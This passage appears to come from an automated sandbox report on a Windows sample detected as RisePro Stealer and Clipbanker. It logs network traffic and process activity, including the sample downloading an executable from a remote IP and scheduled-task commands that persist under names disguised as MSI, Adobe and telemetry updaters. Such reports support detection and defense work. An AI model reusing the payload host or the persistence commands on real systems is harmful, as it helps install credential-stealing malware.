May 22, 2024 20:10:00.897521973 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:10:01.104252100 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:10:01.230752945 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:10:04.146029949 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:10:04.151273966 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:10:04.354269981 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:10:04.513432026 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:10:07.390413046 CEST	49709	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:10:07.395411968 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:10:07.603782892 CEST	50500	49709	185.172.128.136	192.168.2.6
May 22, 2024 20:10:07.734090090 CEST	49709	50500	192.168.2.6	185.172.128.136

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 22, 2024 20:06:22.500591040 CEST	57084	53	192.168.2.6	1.1.1.1
May 22, 2024 20:06:22.507675886 CEST	53	57084	1.1.1.1	192.168.2.6
May 22, 2024 20:06:23.239716053 CEST	63458	53	192.168.2.6	1.1.1.1
May 22, 2024 20:06:23.288865089 CEST	53	63458	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 22, 2024 20:06:22.500591040 CEST	192.168.2.6	1.1.1.1	0x169a	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 22, 2024 20:06:23.239716053 CEST	192.168.2.6	1.1.1.1	0xf086	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 22, 2024 20:06:22.507675886 CEST	1.1.1.1	192.168.2.6	0x169a	No error (0)	ipinfo.io	34.117.186.192	A (IP address)	IN (0x0001)	false
May 22, 2024 20:06:23.288865089 CEST	1.1.1.1	192.168.2.6	0xf086	No error (0)	db-ip.com	172.67.75.166	A (IP address)	IN (0x0001)	false
May 22, 2024 20:06:23.288865089 CEST	1.1.1.1	192.168.2.6	0xf086	No error (0)	db-ip.com	104.26.4.15	A (IP address)	IN (0x0001)	false
May 22, 2024 20:06:23.288865089 CEST	1.1.1.1	192.168.2.6	0xf086	No error (0)	db-ip.com	104.26.5.15	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

ipinfo.io

db-ip.com

185.172.128.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49708	185.172.128.82	80	356	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
May 22, 2024 20:06:28.976639032 CEST	224	OUT	HEAD /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.172.128.82 Cache-Control: no-cache
May 22, 2024 20:06:29.622548103 CEST	260	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 22 May 2024 18:06:29 GMT Content-Type: application/octet-stream Content-Length: 4563640 Last-Modified: Wed, 22 May 2024 06:47:19 GMT Connection: keep-alive ETag: "664d94f7-45a2b8" Accept-Ranges: bytes
May 22, 2024 20:06:29.624310017 CEST	223	OUT	GET /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.172.128.82 Cache-Control: no-cache
May 22, 2024 20:06:29.862780094 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 22 May 2024 18:06:29 GMT Content-Type: application/octet-stream Content-Length: 4563640 Last-Modified: Wed, 22 May 2024 06:47:19 GMT Connection: keep-alive ETag: "664d94f7-45a2b8" Accept-Ranges: bytes Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|EPw.MPRESS1pw?.MPRESS22w?.rsrc\|w?@v2.19w? oG>Hr9aQ(`.=?!Z&II18Z!Ys[QXaYY)vn\|)^f+>84h82g>hb\E(x@8_94Um's#03O]`S2@#oF~RQqoynOA@\|gF0js/H+ 0C!7s^H, {DrI,\|u6E>q}g)UME'j}7^wLekT`#%bnF&-o/8SE{1E,<
May 22, 2024 20:06:29.863357067 CEST	224	IN	Data Raw: 95 63 7c 62 14 7a 8b 46 7a 1a 01 b7 08 bd e8 11 11 7c 83 ee 57 22 70 03 15 e4 ed a2 17 31 ba 52 78 e6 fb b7 ba 6b 46 40 f9 62 4c 19 cf 0f 83 67 98 84 14 d6 a1 84 0d 70 e7 ad 96 18 5f 8e 2d 2d ee da 4b a9 1a ef fa 01 bb 89 f5 32 c4 d1 0b f5 7c e5 Data Ascii: c\|bzFz\|W"p1RxkF@bLgp_--K2\|koN$Xkj+%R+t[ BS=)d;*l;._>KfBqxY(F\|0.Ve%S61opMG`'\YfRXv
May 22, 2024 20:06:29.864938021 CEST	1236	IN	Data Raw: ac 59 e4 e5 5b 05 08 f9 c7 da ad fc fb 52 2b 74 cd 1e 5b 20 42 f9 dd 53 3d f8 29 64 09 3b 80 cb 2a 6c df b5 3b f0 c4 bd 2e 5f aa 0f 3e 4b 66 42 90 13 0e ff 10 93 f8 71 78 59 f8 0b cd ff 95 28 46 0f a9 fc 7c de fb 9a 30 2e 56 c0 8f 85 f3 83 81 c0 Data Ascii: Y[R+t[ BS=)d;*l;._>KfBqxY(F\|0.Ve%S61opMG`'\WZ4v81VEO$]0f}A"Q]TUGit}}7u[a1iT8Z}\|:Z[7pV
May 22, 2024 20:06:29.866554022 CEST	1236	IN	Data Raw: b2 03 0f 2b 69 dd a1 34 79 35 62 36 f4 8e bf a6 3d 04 f0 91 61 3b 38 59 81 56 1c 86 4d 85 af 99 d8 06 8f 35 c2 f6 f0 be 3e 85 7d 1d 78 90 9c 7f b3 e5 4f 8f 6f ab 89 f8 9b 96 ea 93 7a f8 9b c7 4c ce 97 92 50 09 a9 a3 39 5f 09 c3 44 d8 ea f9 c0 f2 Data Ascii: +i4y5b6=a;8YVM5>}xOozLP9_D4[]XjKnzFR0N1Ifr7ygO*.e/$I!vyGC~SR.dEt[M&%4;Q)a{nKVf<H{I{
May 22, 2024 20:06:29.866602898 CEST	1236	IN	Data Raw: a3 12 d0 9d 0e 84 e2 1c f7 08 95 79 ec 19 4c c9 8a c5 fd f1 25 7b 89 10 7b 77 97 f7 b3 f3 3f ba 55 3d 84 4e 95 bd b8 e6 d1 5f f8 27 db ed 4c 69 39 f8 39 59 f1 03 05 e5 33 c0 65 cc ea a5 77 92 ba 51 89 8c 10 50 ea 61 85 a2 e7 db 67 ec c2 22 fe 96 Data Ascii: yL%{{w?U=N_'Li99Y3ewQPag"3CiCiP@ee*mxU8!,[:xE\|ZD>~6q)4,3};QIZe3r:!>@%/@A+`/@z3'0gk",,# /
May 22, 2024 20:06:29.866647959 CEST	1236	IN	Data Raw: 9c e6 00 95 0f 15 e9 2f 22 56 e1 ef 2b 60 43 1e 66 0a ce 44 ac 54 3f a7 15 c2 03 8e 77 a9 33 ba 7a 6f 0e 1a e4 07 11 d8 8c 59 e8 7f 08 b1 6e d8 a6 25 e3 98 0f 07 42 79 08 8d 39 e5 4d f4 57 74 34 c1 b0 b6 6d 03 d9 62 4e cc a4 20 30 ee 81 71 41 53 Data Ascii: /"V+`CfDT?w3zoYn%By9MWt4mbN 0qAS9F1TS'e5~l~Kyvc2owI.Fiq,T}qhKnNy\|@d+)9iQ4E=L"4Yr?gn
May 22, 2024 20:06:29.869609118 CEST	1236	IN	Data Raw: f2 c6 dd 95 99 d7 cb 68 f1 63 c9 da ab 76 eb 0f b4 73 01 34 50 a9 f3 70 2f e7 20 97 64 82 e8 29 33 ac 3e 59 25 38 fb ce c9 fb c6 78 70 03 5c 42 aa a0 fb 41 20 8f 24 b3 e3 47 81 32 61 51 c0 53 b8 fa 17 59 9d 09 58 65 c4 9a 39 4a f5 74 5c b0 24 c9 Data Ascii: hcvs4Pp/ d)3>Y%8xp\BA $G2aQSYXe9Jt\$+PE?Rc&mW$_o7TT<SUq I*y"j4wHCr4fP(muX%6e}GiY\h7TW/6>kxfX"
May 22, 2024 20:06:29.871238947 CEST	552	IN	Data Raw: dc 0c 0a c7 4b 86 21 82 45 37 c0 41 d9 ae 63 2c c7 02 d4 e9 5b bf 7e 2d f9 97 b8 b6 4e c7 a4 5e f6 d5 ec 99 d4 a8 8e ee 48 64 af c5 1a cb e4 77 2d e8 7e 46 07 0e c1 15 25 e4 81 fb 23 b1 8d c6 43 f5 73 b3 3a 7f 71 73 7b 7f 4f 0a 9e ee f9 0e 7f 93 Data Ascii: K!E7Ac,[~-N^Hdw-~F%#Cs:qs{O75a]?I[YX`5cw-/^dZ\|J50Vqg`)rT$<5bj;(sa<[h"y&=xo<!pSj7w_P?tT!ly;
May 22, 2024 20:06:29.871287107 CEST	1236	IN	Data Raw: 4f 6c 17 e2 d6 96 4d 04 74 37 23 00 5b 1e d1 3f 69 1c 88 64 5d 26 5c e7 a6 31 84 49 8d 1c 72 55 2c 80 f6 a9 d3 69 8e f6 f2 e9 37 10 86 82 17 21 99 e7 56 50 85 01 7b 7f f7 5e 41 56 01 58 37 bd 7b 0e e7 64 4a 26 8f a6 1c 95 8d 63 8a a6 1a bf fc fd Data Ascii: OlMt7#[?id]&\1IrU,i7!VP{^AVX7{dJ&c2!wXS%xq?+/<2RXw+po@K}\|-=UqF@qhGZ#CWOg(w_NN)cd1$Xw\rQqi;
May 22, 2024 20:06:29.871361017 CEST	1236	IN	Data Raw: 6e f8 fe 6c da 87 7d 1b 54 1a 99 72 25 b2 8c 0f 04 64 8d 12 81 7c 8e e1 ab 58 ae a1 63 32 e9 ff b6 ce 6f 05 73 75 08 07 e5 15 3a f8 c4 1e 66 0f 3f 6d fa c8 12 63 af 0a 2d 93 6c d7 db 82 31 41 6d 58 8c 2f 72 da 4c 1e ee 11 46 9c 16 0d cf 62 e0 07 Data Ascii: nl}Tr%d\|Xc2osu:f?mc-l1AmX/rLFb7M;pGot/Y9{=~U8h<U\f-9q2M\{C\|qV5P>J4~~EnZ6C.`0;t]NN=ozKg8&6
May 22, 2024 20:06:29.874357939 CEST	1236	IN	Data Raw: 16 c9 87 15 ba 4e f2 e5 df 2a d0 09 6a 8e 2c 1a 98 ad fd d9 bd 7d 7c db db 36 09 1c 6c 80 74 2c 07 34 9c 56 28 28 53 a4 38 5f 29 62 d1 12 1e 9e b7 54 49 1f be 74 9f 00 3d 03 58 d9 0c 3c 71 2b 27 60 17 c3 39 f0 a3 89 c5 24 a4 95 c7 74 f1 1f a5 dd Data Ascii: N*j,}\|6lt,4V((S8_)bTIt=X<q+'`9$tWza8v;pS[u(Y}/P/DPC~F}!ZlOADq}}s# :%>5%G))e_HJ&UAZy%D)q

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49706	34.117.186.192	443	356	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:06:23 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-22 18:06:23 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Wed, 22 May 2024 18:06:23 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-22 18:06:23 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-22 18:06:23 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49707	172.67.75.166	443	356	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:06:23 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-22 18:06:24 UTC	656	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:06:24 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC466E21:787A_93878F2E:0050_664E341F_EB0BC62:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ElZuzZlPw9U%2BWzHsccDvPVKTb51CwkO5QkoZQ2VrSv9OCD%2Fks2bBzIIM0hoGPC1qoCnO08ScR56LlOM2IspLDchyxpZmrVk5%2FtsmgSEdzLXeqWf9%2Fdu2O9E3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 887ebd67ab911906-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:06:24 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-22 18:06:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:06:00
Start date:	22/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff6dd5c0000
File size:	12'249'088 bytes
MD5 hash:	3D5808948D8FA538B14DDC5D1861202B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.2264717201.000000C000BAE000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.2265171878.000000C000CAE000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.2265171878.000000C000FD4000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:06:19
Start date:	22/05/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Imagebase:	0x9f0000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000003.00000003.3323243093.000000000749F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000003.00000003.2335364772.00000000077EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:06:34
Start date:	22/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x990000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:06:34
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:06:34
Start date:	22/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x990000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:06:34
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:06:34
Start date:	22/05/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000009.00000002.2430942841.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000009.00000002.2430942841.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 66%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:06:35
Start date:	22/05/2024
Path:	C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000A.00000002.2424820883.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000A.00000002.2424820883.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 66%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:06:35
Start date:	22/05/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000B.00000002.2437046066.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000B.00000002.2437046066.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:06:36
Start date:	22/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x990000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:06:36
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:06:37
Start date:	22/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x990000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:06:37
Start date:	22/05/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000F.00000002.4555133321.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000F.00000002.4555133321.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 66%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	14:06:37
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:06:38
Start date:	22/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x990000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:06:38
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:06:44
Start date:	22/05/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
